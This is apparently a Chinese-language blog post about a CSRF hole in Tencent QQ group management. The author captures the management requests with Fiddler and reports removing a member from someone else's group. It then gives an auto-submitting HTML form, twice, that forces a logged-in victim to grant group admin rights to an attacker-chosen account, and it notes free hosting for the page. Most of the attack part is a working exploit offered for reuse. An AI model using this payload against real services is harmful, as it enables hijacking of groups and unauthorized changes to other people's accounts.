腾讯QQ群可csrf任意设置管理员http://qun.qq.com/manage.html#click
new？ 新功能？
我们来看看正常流程，我们找一个自己的群，然后设置下
就这个把。。。
网络安全高端研究(23707***39)
我要飞的对象是
不经常浮水的
乱飞会挨叼的，o(∩_∩)o
然后Fiddler抓包
看看流程
发现他发送了如下请求
gc
237077239
ul
1092612809
flag
0
bkn
1495574789
然后看了下
gc=QQ群号
ul=QQ号码
bkn=一串数字(无针对任何验证)
我们试试能不能修改删除某个群的成员，我跨群删除试试(必须要有管理员权限哦o(∩_∩)o 十八岁一下请勿模仿)
好，就这个吧
猎鹰科技官方群 Q群为：136***686
删除这个“╄→⑤冄戀鯖” QQ为：107131***16
就他把，我们飞了他
我们再换回
网络安全高端研究(23707***39)
然后随便找一个
修改前：
修改后：
可以看到已经删除鸟。。。。
好神奇
设置管理员也是这个请求，木有token
构造csrf：
<html>
<form name="comer" action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin
" method="POST">
<input type="hidden" name="gc" value="QQ群号" />
<input type="hidden" name="ul" value="QQ号码" />
<input type="hidden" name="op" value="1(给予1的待遇，也就是管理员，第一位)" />
<input type="hidden" name="bkn" value="1495574789 (随机参数)" />
<input type="submit" />
</form>
<script>
document.comer.submit();
</script>
</html>
好的，了解完这些我们可以构造csrf来看下是否可以。。。
其实5944和那个什么美国免费空间就可以上传html了-。-
用我自己的群测试把
我的QQ群是： 285273***
然后我要设置的管理员的QQ是：858757***
就我一个群主而已，我们构造csrf代码把。。
<html>
<form name="comer" action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin
" method="POST">
<input type="hidden" name="gc" value="285273***" />
<input type="hidden" name="ul" value="858757***" />
<input type="hidden" name="op" value="1" />
<input type="hidden" name="bkn" value="1495574789" />
<input type="submit" />
</form>
<script>
document.comer.submit();
</script>
</html>